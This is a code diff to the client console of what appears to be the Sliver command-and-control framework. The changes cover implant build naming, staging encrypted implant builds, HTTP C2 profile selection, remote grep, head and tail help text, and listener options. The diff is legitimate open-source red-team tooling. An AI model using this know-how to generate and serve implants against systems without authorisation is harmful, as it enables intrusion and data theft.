|
||||
|
||||
@@ -207,7 +207,7 @@ func parseCompileFlags(cmd *cobra.Command, con *console.SliverConsoleClient) *cl
|
||||
wgC2, err := ParseWGc2(wgC2F)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err.Error())
|
||||
return nil
|
||||
return "", nil
|
||||
}
|
||||
wgKeyExchangePort, _ := cmd.Flags().GetUint32("key-exchange")
|
||||
wgTcpCommsPort, _ := cmd.Flags().GetUint32("tcp-comms")
|
||||
@@ -218,7 +218,7 @@ func parseCompileFlags(cmd *cobra.Command, con *console.SliverConsoleClient) *cl
|
||||
httpC2, err := ParseHTTPc2(httpC2F)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err.Error())
|
||||
return nil
|
||||
return "", nil
|
||||
}
|
||||
c2s = append(c2s, httpC2...)
|
||||
|
||||
@@ -226,7 +226,7 @@ func parseCompileFlags(cmd *cobra.Command, con *console.SliverConsoleClient) *cl
|
||||
dnsC2, err := ParseDNSc2(dnsC2F)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err.Error())
|
||||
return nil
|
||||
return "", nil
|
||||
}
|
||||
c2s = append(c2s, dnsC2...)
|
||||
|
||||
@@ -234,7 +234,7 @@ func parseCompileFlags(cmd *cobra.Command, con *console.SliverConsoleClient) *cl
|
||||
namedPipeC2, err := ParseNamedPipec2(namedPipeC2F)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err.Error())
|
||||
return nil
|
||||
return "", nil
|
||||
}
|
||||
c2s = append(c2s, namedPipeC2...)
|
||||
|
||||
@@ -242,7 +242,7 @@ func parseCompileFlags(cmd *cobra.Command, con *console.SliverConsoleClient) *cl
|
||||
tcpPivotC2, err := ParseTCPPivotc2(tcpPivotC2F)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err.Error())
|
||||
return nil
|
||||
return "", nil
|
||||
}
|
||||
c2s = append(c2s, tcpPivotC2...)
|
||||
|
||||
@@ -256,7 +256,7 @@ func parseCompileFlags(cmd *cobra.Command, con *console.SliverConsoleClient) *cl
|
||||
|
||||
if len(mtlsC2) == 0 && len(wgC2) == 0 && len(httpC2) == 0 && len(dnsC2) == 0 && len(namedPipeC2) == 0 && len(tcpPivotC2) == 0 {
|
||||
con.PrintErrorf("Must specify at least one of --mtls, --wg, --http, --dns, --named-pipe, or --tcp-pivot\n")
|
||||
return nil
|
||||
return "", nil
|
||||
}
|
||||
|
||||
rawCanaries, _ := cmd.Flags().GetString("canary")
|
||||
@@ -320,20 +320,20 @@ func parseCompileFlags(cmd *cobra.Command, con *console.SliverConsoleClient) *cl
|
||||
targetArch := strings.ToLower(targetArchF)
|
||||
targetOS, targetArch = getTargets(targetOS, targetArch, con)
|
||||
if targetOS == "" || targetArch == "" {
|
||||
return nil
|
||||
return "", nil
|
||||
}
|
||||
if configFormat == clientpb.OutputFormat_SHELLCODE && targetOS != "windows" {
|
||||
con.PrintErrorf("Shellcode format is currently only supported on Windows\n")
|
||||
return nil
|
||||
return "", nil
|
||||
}
|
||||
if len(namedPipeC2) > 0 && targetOS != "windows" {
|
||||
con.PrintErrorf("Named pipe pivoting can only be used in Windows.")
|
||||
return nil
|
||||
return "", nil
|
||||
}
|
||||
|
||||
// Check to see if we can *probably* build the target binary
|
||||
if !checkBuildTargetCompatibility(configFormat, targetOS, targetArch, con) {
|
||||
return nil
|
||||
return "", nil
|
||||
}
|
||||
|
||||
var tunIP net.IP
|
||||
@@ -342,7 +342,7 @@ func parseCompileFlags(cmd *cobra.Command, con *console.SliverConsoleClient) *cl
|
||||
tunIP = net.ParseIP(uniqueWGIP.IP)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to generate unique ip for wg peer tun interface")
|
||||
return nil
|
||||
return "", nil
|
||||
}
|
||||
con.PrintInfof("Generated unique ip for wg peer tun interface: %s\n", tunIP.String())
|
||||
}
|
||||
@@ -353,17 +353,21 @@ func parseCompileFlags(cmd *cobra.Command, con *console.SliverConsoleClient) *cl
|
||||
connectionStrategy, _ := cmd.Flags().GetString("strategy")
|
||||
if connectionStrategy != "" && connectionStrategy != "s" && connectionStrategy != "r" && connectionStrategy != "rd" {
|
||||
con.PrintErrorf("Invalid connection strategy: %s\n", connectionStrategy)
|
||||
return nil
|
||||
return "", nil
|
||||
}
|
||||
|
||||
// Parse Traffic Encoder Args
|
||||
httpC2Enabled := 0 < len(httpC2)
|
||||
trafficEncodersEnabled, trafficEncoderAssets := parseTrafficEncoderArgs(cmd, httpC2Enabled, con)
|
||||
|
||||
c2Profile, _ := cmd.Flags().GetString("c2profile")
|
||||
if c2Profile == "" {
|
||||
c2Profile = consts.DefaultC2Profile
|
||||
}
|
||||
|
||||
config := &clientpb.ImplantConfig{
|
||||
GOOS: targetOS,
|
||||
GOARCH: targetArch,
|
||||
Name: name,
|
||||
Debug: debug,
|
||||
Evasion: evasion,
|
||||
SGNEnabled: sgnEnabled,
|
||||
@@ -398,10 +402,11 @@ func parseCompileFlags(cmd *cobra.Command, con *console.SliverConsoleClient) *cl
|
||||
TrafficEncodersEnabled: trafficEncodersEnabled,
|
||||
Assets: trafficEncoderAssets,
|
||||
|
||||
DebugFile: debugFile,
|
||||
DebugFile: debugFile,
|
||||
HTTPC2ConfigName: c2Profile,
|
||||
}
|
||||
|
||||
return config
|
||||
return name, config
|
||||
}
|
||||
|
||||
// parseTrafficEncoderArgs - parses the traffic encoder args and returns a bool indicating if traffic encoders are enabled
|
||||
@@ -778,7 +783,7 @@ func ParseTCPPivotc2(args string) ([]*clientpb.ImplantC2, error) {
|
||||
return c2s, nil
|
||||
}
|
||||
|
||||
func externalBuild(config *clientpb.ImplantConfig, save string, con *console.SliverConsoleClient) (*commonpb.File, error) {
|
||||
func externalBuild(name string, config *clientpb.ImplantConfig, save string, con *console.SliverConsoleClient) (*commonpb.File, error) {
|
||||
potentialBuilders, err := findExternalBuilders(config, con)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
@@ -818,6 +823,7 @@ func externalBuild(config *clientpb.ImplantConfig, save string, con *console.Sli
|
||||
|
||||
con.PrintInfof("Creating external build ... ")
|
||||
externalImplantConfig, err := con.Rpc.GenerateExternal(context.Background(), &clientpb.ExternalGenerateReq{
|
||||
Name: name,
|
||||
Config: config,
|
||||
BuilderName: externalBuilder.Name,
|
||||
})
|
||||
@@ -827,7 +833,6 @@ func externalBuild(config *clientpb.ImplantConfig, save string, con *console.Sli
|
||||
}
|
||||
con.Printf("done\n")
|
||||
|
||||
var name string
|
||||
msgF := "Waiting for external builder to acknowledge build (template: %s) ... %s"
|
||||
for waiting {
|
||||
select {
|
||||
@@ -845,13 +850,13 @@ func externalBuild(config *clientpb.ImplantConfig, save string, con *console.Sli
|
||||
if len(parts) != 2 {
|
||||
continue
|
||||
}
|
||||
if parts[0] == externalImplantConfig.Config.ID {
|
||||
if parts[0] == externalImplantConfig.Build.ID {
|
||||
con.RemoveEventListener(listenerID)
|
||||
return nil, fmt.Errorf("external build failed: %s", parts[1])
|
||||
}
|
||||
|
||||
case consts.AcknowledgeBuildEvent:
|
||||
if string(event.Data) == externalImplantConfig.Config.ID {
|
||||
if string(event.Data) == externalImplantConfig.Build.ID {
|
||||
msgF = "External build acknowledged by builder (template: %s) ... %s"
|
||||
}
|
||||
|
||||
@@ -860,7 +865,7 @@ func externalBuild(config *clientpb.ImplantConfig, save string, con *console.Sli
|
||||
if len(parts) != 2 {
|
||||
continue
|
||||
}
|
||||
if parts[0] == externalImplantConfig.Config.ID {
|
||||
if parts[0] == externalImplantConfig.Build.ID {
|
||||
con.RemoveEventListener(listenerID)
|
||||
name = parts[1]
|
||||
waiting = false
|
||||
|
||||
@@ -14,46 +14,24 @@ import (
|
||||
// GetSliverBinary - Get the binary of an implant based on it's profile
|
||||
func GetSliverBinary(profile *clientpb.ImplantProfile, con *console.SliverConsoleClient) ([]byte, error) {
|
||||
var data []byte
|
||||
// get implant builds
|
||||
builds, err := con.Rpc.ImplantBuilds(context.Background(), &commonpb.Empty{})
|
||||
|
||||
ctrl := make(chan bool)
|
||||
con.SpinUntil("Compiling, please wait ...", ctrl)
|
||||
|
||||
generated, err := con.Rpc.Generate(context.Background(), &clientpb.GenerateReq{
|
||||
Config: profile.Config,
|
||||
})
|
||||
ctrl <- true
|
||||
<-ctrl
|
||||
if err != nil {
|
||||
con.PrintErrorf("Error generating implant\n")
|
||||
return data, err
|
||||
}
|
||||
|
||||
implantName := buildImplantName(profile.GetConfig().GetFileName())
|
||||
_, ok := builds.GetConfigs()[implantName]
|
||||
if implantName == "" || !ok {
|
||||
// no built implant found for profile, generate a new one
|
||||
con.PrintInfof("No builds found for profile %s, generating a new one\n", profile.GetName())
|
||||
ctrl := make(chan bool)
|
||||
con.SpinUntil("Compiling, please wait ...", ctrl)
|
||||
|
||||
generated, err := con.Rpc.Generate(context.Background(), &clientpb.GenerateReq{
|
||||
Config: profile.Config,
|
||||
})
|
||||
ctrl <- true
|
||||
<-ctrl
|
||||
if err != nil {
|
||||
con.PrintErrorf("Error generating implant\n")
|
||||
return data, err
|
||||
}
|
||||
data = generated.GetFile().GetData()
|
||||
profile.Config.FileName = generated.File.Name
|
||||
_, err = con.Rpc.SaveImplantProfile(context.Background(), profile)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Error updating implant profile\n")
|
||||
return data, err
|
||||
}
|
||||
} else {
|
||||
// Found a build, reuse that one
|
||||
con.PrintInfof("Sliver name for profile: %s\n", implantName)
|
||||
regenerate, err := con.Rpc.Regenerate(context.Background(), &clientpb.RegenerateReq{
|
||||
ImplantName: implantName,
|
||||
})
|
||||
if err != nil {
|
||||
return data, err
|
||||
}
|
||||
data = regenerate.GetFile().GetData()
|
||||
data = generated.GetFile().GetData()
|
||||
_, err = con.Rpc.SaveImplantProfile(context.Background(), profile)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Error updating implant profile\n")
|
||||
return data, err
|
||||
}
|
||||
return data, err
|
||||
}
|
||||
@@ -135,6 +113,24 @@ func FormatCompleter() carapace.Action {
|
||||
})
|
||||
}
|
||||
|
||||
// HTTPC2Completer - Completes the HTTP C2 PROFILES
|
||||
func HTTPC2Completer(con *console.SliverConsoleClient) carapace.Action {
|
||||
return carapace.ActionCallback(func(c carapace.Context) carapace.Action {
|
||||
grpcCtx, cancel := con.GrpcContext(nil)
|
||||
defer cancel()
|
||||
httpC2Profiles, err := con.Rpc.GetHTTPC2Profiles(grpcCtx, &commonpb.Empty{})
|
||||
if err != nil {
|
||||
return carapace.ActionMessage("failed to fetch HTTP C2 profiles: %s", err.Error())
|
||||
}
|
||||
|
||||
var results []string
|
||||
for _, profile := range httpC2Profiles.Configs {
|
||||
results = append(results, profile.Name)
|
||||
}
|
||||
return carapace.ActionValues(results...).Tag("HTTP C2 Profiles")
|
||||
})
|
||||
}
|
||||
|
||||
// TrafficEncoderCompleter - Completes the names of traffic encoders
|
||||
func TrafficEncodersCompleter(con *console.SliverConsoleClient) carapace.Action {
|
||||
return carapace.ActionCallback(func(c carapace.Context) carapace.Action {
|
||||
|
||||
@@ -0,0 +1,39 @@
|
||||
package generate
|
||||
|
||||
import (
|
||||
"context"
|
||||
|
||||
"github.com/AlecAivazis/survey/v2"
|
||||
"github.com/spf13/cobra"
|
||||
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/commonpb"
|
||||
)
|
||||
|
||||
// ImplantsStageCmd - Serve a previously generated build
|
||||
func ImplantsStageCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
|
||||
builds, err := con.Rpc.ImplantBuilds(context.Background(), &commonpb.Empty{})
|
||||
if err != nil {
|
||||
con.PrintErrorf("Unable to load implant builds '%s'\n", err)
|
||||
return
|
||||
}
|
||||
|
||||
options := []string{}
|
||||
for name, _ := range builds.Configs {
|
||||
options = append(options, name)
|
||||
}
|
||||
|
||||
prompt := &survey.MultiSelect{
|
||||
Message: "Select sessions and beacons to expose:",
|
||||
Options: options,
|
||||
}
|
||||
selected := []string{}
|
||||
survey.AskOne(prompt, &selected)
|
||||
|
||||
_, err = con.Rpc.StageImplantBuild(context.Background(), &clientpb.ImplantStageReq{Build: selected})
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to serve implant %s\n", err)
|
||||
return
|
||||
}
|
||||
}
|
||||
@@ -53,14 +53,14 @@ func ImplantsCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []st
|
||||
implantBuildFilters := ImplantBuildFilter{}
|
||||
|
||||
if 0 < len(builds.Configs) {
|
||||
PrintImplantBuilds(builds.Configs, implantBuildFilters, con)
|
||||
PrintImplantBuilds(builds, implantBuildFilters, con)
|
||||
} else {
|
||||
con.PrintInfof("No implant builds\n")
|
||||
}
|
||||
}
|
||||
|
||||
// PrintImplantBuilds - Print the implant builds on the server
|
||||
func PrintImplantBuilds(configs map[string]*clientpb.ImplantConfig, filters ImplantBuildFilter, con *console.SliverConsoleClient) {
|
||||
func PrintImplantBuilds(builds *clientpb.ImplantBuilds, filters ImplantBuildFilter, con *console.SliverConsoleClient) {
|
||||
tw := table.NewWriter()
|
||||
tw.SetStyle(settings.GetTableStyle(con))
|
||||
tw.AppendHeader(table.Row{
|
||||
@@ -71,12 +71,15 @@ func PrintImplantBuilds(configs map[string]*clientpb.ImplantConfig, filters Impl
|
||||
"Format",
|
||||
"Command & Control",
|
||||
"Debug",
|
||||
"C2 Config",
|
||||
"ID",
|
||||
"Stage",
|
||||
})
|
||||
tw.SortBy([]table.SortBy{
|
||||
{Name: "Name", Mode: table.Asc},
|
||||
})
|
||||
|
||||
for sliverName, config := range configs {
|
||||
for sliverName, config := range builds.Configs {
|
||||
if filters.GOOS != "" && config.GOOS != filters.GOOS {
|
||||
continue
|
||||
}
|
||||
@@ -97,9 +100,15 @@ func PrintImplantBuilds(configs map[string]*clientpb.ImplantConfig, filters Impl
|
||||
continue
|
||||
}
|
||||
|
||||
implantType := "session"
|
||||
implantType := ""
|
||||
if builds.ResourceIDs[sliverName].Type != "" {
|
||||
implantType = builds.ResourceIDs[sliverName].Type
|
||||
}
|
||||
|
||||
if config.IsBeacon {
|
||||
implantType = "beacon"
|
||||
implantType += "beacon"
|
||||
} else {
|
||||
implantType += "session"
|
||||
}
|
||||
c2URLs := []string{}
|
||||
for index, c2 := range config.C2 {
|
||||
@@ -116,6 +125,9 @@ func PrintImplantBuilds(configs map[string]*clientpb.ImplantConfig, filters Impl
|
||||
config.Format,
|
||||
strings.Join(c2URLs, "\n"),
|
||||
fmt.Sprintf("%v", config.Debug),
|
||||
fmt.Sprintf(config.HTTPC2ConfigName),
|
||||
fmt.Sprintf("%v", builds.ResourceIDs[sliverName].Value),
|
||||
fmt.Sprintf("%v", builds.Staged[sliverName]),
|
||||
})
|
||||
}
|
||||
|
||||
|
||||
@@ -19,7 +19,6 @@ package generate
|
||||
*/
|
||||
|
||||
import (
|
||||
"context"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
@@ -50,16 +49,10 @@ func ProfilesGenerateCmd(cmd *cobra.Command, con *console.SliverConsoleClient, a
|
||||
if SGNDisabled, _ := cmd.Flags().GetBool("disable-sgn"); SGNDisabled {
|
||||
profile.Config.SGNEnabled = !SGNDisabled
|
||||
}
|
||||
implantFile, err := compile(profile.Config, save, con)
|
||||
_, err := compile(profile.Config, save, con)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
profile.Config.Name = buildImplantName(implantFile.Name)
|
||||
_, err = con.Rpc.SaveImplantProfile(context.Background(), profile)
|
||||
if err != nil {
|
||||
con.PrintErrorf("could not update implant profile: %v\n", err)
|
||||
return
|
||||
}
|
||||
} else {
|
||||
con.PrintErrorf("No profile with name '%s'", name)
|
||||
}
|
||||
|
||||
@@ -33,7 +33,7 @@ func ProfilesNewCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args [
|
||||
name = args[0]
|
||||
}
|
||||
// name := ctx.Args.String("name")
|
||||
config := parseCompileFlags(cmd, con)
|
||||
_, config := parseCompileFlags(cmd, con)
|
||||
if config == nil {
|
||||
return
|
||||
}
|
||||
@@ -60,7 +60,7 @@ func ProfilesNewBeaconCmd(cmd *cobra.Command, con *console.SliverConsoleClient,
|
||||
con.PrintErrorf("No profile name specified\n")
|
||||
return
|
||||
}
|
||||
config := parseCompileFlags(cmd, con)
|
||||
_, config := parseCompileFlags(cmd, con)
|
||||
if config == nil {
|
||||
return
|
||||
}
|
||||
|
||||
@@ -0,0 +1,80 @@
|
||||
package generate
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2019 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"context"
|
||||
"os"
|
||||
"strings"
|
||||
|
||||
"github.com/spf13/cobra"
|
||||
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
)
|
||||
|
||||
// ProfilesStageCmd - Generate an encrypted/compressed implant binary based on a profile
|
||||
func ProfilesStageCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
|
||||
name, _ := cmd.Flags().GetString("name")
|
||||
profileName := args[0]
|
||||
aesEncryptKey, _ := cmd.Flags().GetString("aes-encrypt-key")
|
||||
aesEncryptIv, _ := cmd.Flags().GetString("aes-encrypt-iv")
|
||||
rc4EncryptKey, _ := cmd.Flags().GetString("rc4-encrypt-key")
|
||||
prependSize, _ := cmd.Flags().GetBool("prepend-size")
|
||||
compressF, _ := cmd.Flags().GetString("compress")
|
||||
compress := strings.ToLower(compressF)
|
||||
save, _ := cmd.Flags().GetString("save")
|
||||
|
||||
profile := GetImplantProfileByName(profileName, con)
|
||||
if profile == nil {
|
||||
con.PrintErrorf("Profile not found\n")
|
||||
return
|
||||
}
|
||||
|
||||
ctrl := make(chan bool)
|
||||
con.SpinUntil("Compiling, please wait ...", ctrl)
|
||||
stage2, err := con.Rpc.GenerateStage(context.Background(), &clientpb.GenerateStageReq{
|
||||
Profile: profileName,
|
||||
Name: name,
|
||||
AESEncryptKey: aesEncryptKey,
|
||||
AESEncryptIv: aesEncryptIv,
|
||||
RC4EncryptKey: rc4EncryptKey,
|
||||
PrependSize: prependSize,
|
||||
Compress: compress,
|
||||
})
|
||||
ctrl <- true
|
||||
<-ctrl
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
|
||||
saveTo, err := saveLocation(save, stage2.File.Name, con)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
|
||||
err = os.WriteFile(saveTo, stage2.File.Data, 0o700)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to write to: %s\n", saveTo)
|
||||
return
|
||||
}
|
||||
con.PrintInfof("Implant saved to %s\n", saveTo)
|
||||
}
|
||||
@@ -62,6 +62,8 @@ func PrintProfiles(profiles []*clientpb.ImplantProfile, con *console.SliverConso
|
||||
"Format",
|
||||
"Obfuscation",
|
||||
"Limitations",
|
||||
"C2 Profile",
|
||||
// "Nonce",
|
||||
})
|
||||
tw.SortBy([]table.SortBy{
|
||||
{Name: "Profile Name", Mode: table.Asc},
|
||||
@@ -91,6 +93,8 @@ func PrintProfiles(profiles []*clientpb.ImplantProfile, con *console.SliverConso
|
||||
fmt.Sprintf("%v", config.Format),
|
||||
obfuscation,
|
||||
getLimitsString(config),
|
||||
config.HTTPC2ConfigName,
|
||||
// profile.ImplantID,
|
||||
})
|
||||
}
|
||||
|
||||
|
||||
@@ -59,6 +59,9 @@ var (
|
||||
consts.PwdStr: pwdHelp,
|
||||
consts.CatStr: catHelp,
|
||||
consts.DownloadStr: downloadHelp,
|
||||
consts.GrepStr: grepHelp,
|
||||
consts.HeadStr: headHelp,
|
||||
consts.TailStr: tailHelp,
|
||||
consts.UploadStr: uploadHelp,
|
||||
consts.MkdirStr: mkdirHelp,
|
||||
consts.RmStr: rmHelp,
|
||||
@@ -113,6 +116,9 @@ var (
|
||||
|
||||
// Builders
|
||||
consts.BuildersStr: buildersHelp,
|
||||
|
||||
// HTTP C2
|
||||
consts.C2ProfileStr: c2ProfilesHelp,
|
||||
}
|
||||
|
||||
jobsHelp = `[[.Bold]]Command:[[.Normal]] jobs <options>
|
||||
@@ -321,6 +327,12 @@ Downloads can be filtered using the following patterns:
|
||||
If you need to match a special character (*, ?, '-', '[', ']', '\\'), place '\\' in front of it (example: \\?).
|
||||
On Windows, escaping is disabled. Instead, '\\' is treated as path separator.`
|
||||
|
||||
headHelp = `[[.Bold]]Command:[[.Normal]] head [--bytes/-b <number of bytes>] [--lines/-l <number of lines>] <remote path>
|
||||
[[.Bold]]About:[[.Normal]] Fetch the first number of bytes or lines from a remote file and display it to stdout.`
|
||||
|
||||
tailHelp = `[[.Bold]]Command:[[.Normal]] tail [--bytes/-b <number of bytes>] [--lines/-l <number of lines>] <remote path>
|
||||
[[.Bold]]About:[[.Normal]] Fetch the last number of bytes or lines from a remote file and display it to stdout.`
|
||||
|
||||
uploadHelp = `[[.Bold]]Command:[[.Normal]] upload [local src] <remote dst>
|
||||
[[.Bold]]About:[[.Normal]] Upload a file to the remote system.`
|
||||
|
||||
@@ -1220,6 +1232,41 @@ Sliver uses the same hash identifiers as Hashcat (use the #):
|
||||
% 10s - A file containing lines of 'username:hash' pairs.
|
||||
% 10s - A CSV file containing 'username,hash' pairs (additional columns ignored).
|
||||
`, creds.HashNewlineFormat, creds.UserColonHashNewlineFormat, creds.CSVFormat)
|
||||
|
||||
c2ProfilesHelp = `[[.Bold]]Command:[[.Normal]] c2profile
|
||||
[[.Bold]]About:[[.Normal]] Display details of HTTP C2 profiles loaded into Sliver.
|
||||
`
|
||||
|
||||
C2ProfileImportStr = `[[.Bold]]Command:[[.Normal]] Import
|
||||
[[.Bold]]About:[[.Normal]] Load custom HTTP C2 profiles.
|
||||
`
|
||||
|
||||
grepHelp = `[[.Bold]]Command:[[.Normal]] grep [flags / options] <search pattern> <path>
|
||||
[[.Bold]]About:[[.Normal]] Search a file or path for a search pattern
|
||||
[[.Bold]][[.Underline]]Search Patterns[[.Normal]]
|
||||
Search patterns use RE2 regular expression syntax.
|
||||
[[.Bold]][[.Underline]]Binary Files[[.Normal]]
|
||||
When searching a binary file, grep will only return the line that matches if it exclusively contains UTF-8 printable characters.
|
||||
Before, after, and context options are disabled for binary files.
|
||||
[[.Bold]][[.Underline]]Path Filters[[.Normal]]
|
||||
Filters are a way to limit searches to file names matching given criteria. Filters DO NOT apply to directory names.
|
||||
|
||||
Filters are specified after the path. A blank path will filter on names in the current directory. For example:
|
||||
grep something /etc/*.conf will search all files in /etc whose names end in .conf. /etc/ is the path, *.conf is the filter.
|
||||
|
||||
Searches can be filtered using the following patterns:
|
||||
'*': Wildcard, matches any sequence of non-path separators (slashes)
|
||||
Example: n*.txt will search all file names starting with n and ending with .txt
|
||||
|
||||
'?': Single character wildcard, matches a single non-path separator (slashes)
|
||||
Example: s?iver will search all file names starting with s followed by any non-separator character and ending with iver.
|
||||
|
||||
'[{range}]': Match a range of characters. Ranges are specified with '-'. This is usually combined with other patterns. Ranges can be negated with '^'.
|
||||
Example: [a-c] will match the characters a, b, and c. [a-c]* will match all file names that start with a, b, or c.
|
||||
^[r-u] will match all characters except r, s, t, and u.
|
||||
|
||||
If you need to match a special character (*, ?, '-', '[', ']', '\\'), place '\\' in front of it (example: \\?).
|
||||
On Windows, escaping is disabled. Instead, '\\' is treated as path separator.`
|
||||
)
|
||||
|
||||
const (
|
||||
|
||||
@@ -43,6 +43,10 @@ func InfoCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string
|
||||
// ID passed via argument takes priority
|
||||
idArg := args[0]
|
||||
session, beacon, err = use.SessionOrBeaconByID(idArg, con)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
} else if session != nil || beacon != nil {
|
||||
currID := ""
|
||||
if session != nil {
|
||||
@@ -51,6 +55,10 @@ func InfoCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string
|
||||
currID = beacon.ID
|
||||
}
|
||||
session, beacon, err = use.SessionOrBeaconByID(currID, con)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
} else {
|
||||
if session == nil && beacon == nil {
|
||||
session, beacon, err = use.SelectSessionOrBeacon(con)
|
||||
|
||||
@@ -41,7 +41,6 @@ func DNSListenerCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args [
|
||||
lhost, _ := cmd.Flags().GetString("lhost")
|
||||
lport, _ := cmd.Flags().GetUint32("lport")
|
||||
canaries, _ := cmd.Flags().GetBool("no-canaries")
|
||||
persistent, _ := cmd.Flags().GetBool("persistent")
|
||||
enforceOTP, _ := cmd.Flags().GetBool("disable-otp")
|
||||
|
||||
con.PrintInfof("Starting DNS listener with parent domain(s) %v ...\n", domains)
|
||||
@@ -50,7 +49,6 @@ func DNSListenerCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args [
|
||||
Host: lhost,
|
||||
Port: lport,
|
||||
Canaries: !canaries,
|
||||
Persistent: persistent,
|
||||
EnforceOTP: !enforceOTP,
|
||||
})
|
||||
con.Println()
|
||||
|
||||
@@ -37,7 +37,6 @@ func HTTPListenerCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args
|
||||
pollTimeout, _ := cmd.Flags().GetString("long-poll-timeout")
|
||||
pollJitter, _ := cmd.Flags().GetString("long-poll-jitter")
|
||||
website, _ := cmd.Flags().GetString("website")
|
||||
persistent, _ := cmd.Flags().GetBool("persistent")
|
||||
|
||||
longPollTimeout, err := time.ParseDuration(pollTimeout)
|
||||
if err != nil {
|
||||
@@ -57,7 +56,6 @@ func HTTPListenerCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args
|
||||
Host: lhost,
|
||||
Port: lport,
|
||||
Secure: false,
|
||||
Persistent: persistent,
|
||||
EnforceOTP: !disableOTP,
|
||||
LongPollTimeout: int64(longPollTimeout),
|
||||
LongPollJitter: int64(longPollJitter),
|
||||
|
||||
@@ -22,7 +22,7 @@ import (
|
||||
"context"
|
||||
"crypto/tls"
|
||||
"fmt"
|
||||
"io/ioutil"
|
||||
"os"
|
||||
"time"
|
||||
|
||||
"github.com/spf13/cobra"
|
||||
@@ -40,7 +40,6 @@ func HTTPSListenerCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args
|
||||
pollTimeout, _ := cmd.Flags().GetString("long-poll-timeout")
|
||||
pollJitter, _ := cmd.Flags().GetString("long-poll-jitter")
|
||||
website, _ := cmd.Flags().GetString("website")
|
||||
persistent, _ := cmd.Flags().GetBool("persistent")
|
||||
letsEncrypt, _ := cmd.Flags().GetBool("lets-encrypt")
|
||||
disableRandomize, _ := cmd.Flags().GetBool("disable-randomized-jarm")
|
||||
|
||||
@@ -72,7 +71,6 @@ func HTTPSListenerCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args
|
||||
Cert: cert,
|
||||
Key: key,
|
||||
ACME: letsEncrypt,
|
||||
Persistent: persistent,
|
||||
EnforceOTP: !disableOTP,
|
||||
LongPollTimeout: int64(longPollTimeout),
|
||||
LongPollJitter: int64(longPollJitter),
|
||||
@@ -92,11 +90,11 @@ func getLocalCertificatePair(cmd *cobra.Command) ([]byte, []byte, error) {
|
||||
if certPath == "" && keyPath == "" {
|
||||
return nil, nil, nil
|
||||
}
|
||||
cert, err := ioutil.ReadFile(certPath)
|
||||
cert, err := os.ReadFile(certPath)
|
||||
if err != nil {
|
||||
return nil, nil, err
|
||||
}
|
||||
key, err := ioutil.ReadFile(keyPath)
|
||||
key, err := os.ReadFile(keyPath)
|
||||
if err != nil {
|
||||
return nil, nil, err
|
||||
}
|
||||
|
||||
@@ -70,6 +70,7 @@ func PrintJobs(jobs map[uint32]*clientpb.Job, con *console.SliverConsoleClient)
|
||||
"Name",
|
||||
"Protocol",
|
||||
"Port",
|
||||
"Domains",
|
||||
})
|
||||
|
||||
var keys []int
|
||||
@@ -85,6 +86,7 @@ func PrintJobs(jobs map[uint32]*clientpb.Job, con *console.SliverConsoleClient)
|
||||
job.Name,
|
||||
job.Protocol,
|
||||
fmt.Sprintf("%d", job.Port),
|
||||
strings.Join(job.Domains, ","),
|
||||
})
|
||||
}
|
||||
con.Printf("%s\n", tw.Render())
|
||||
|
||||
@@ -31,13 +31,11 @@ import (
|
||||
func MTLSListenerCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
|
||||
lhost, _ := cmd.Flags().GetString("lhost")
|
||||
lport, _ := cmd.Flags().GetUint32("lport")
|
||||
persistent, _ := cmd.Flags().GetBool("persistent")
|
||||
|
||||
con.PrintInfof("Starting mTLS listener ...\n")
|
||||
mtls, err := con.Rpc.StartMTLSListener(context.Background(), &clientpb.MTLSListenerReq{
|
||||
Host: lhost,
|
||||
Port: lport,
|
||||
Persistent: persistent,
|
||||
Host: lhost,
|
||||
Port: lport,
|
||||
})
|
||||
con.Println()
|
||||
if err != nil {
|
||||
|
||||
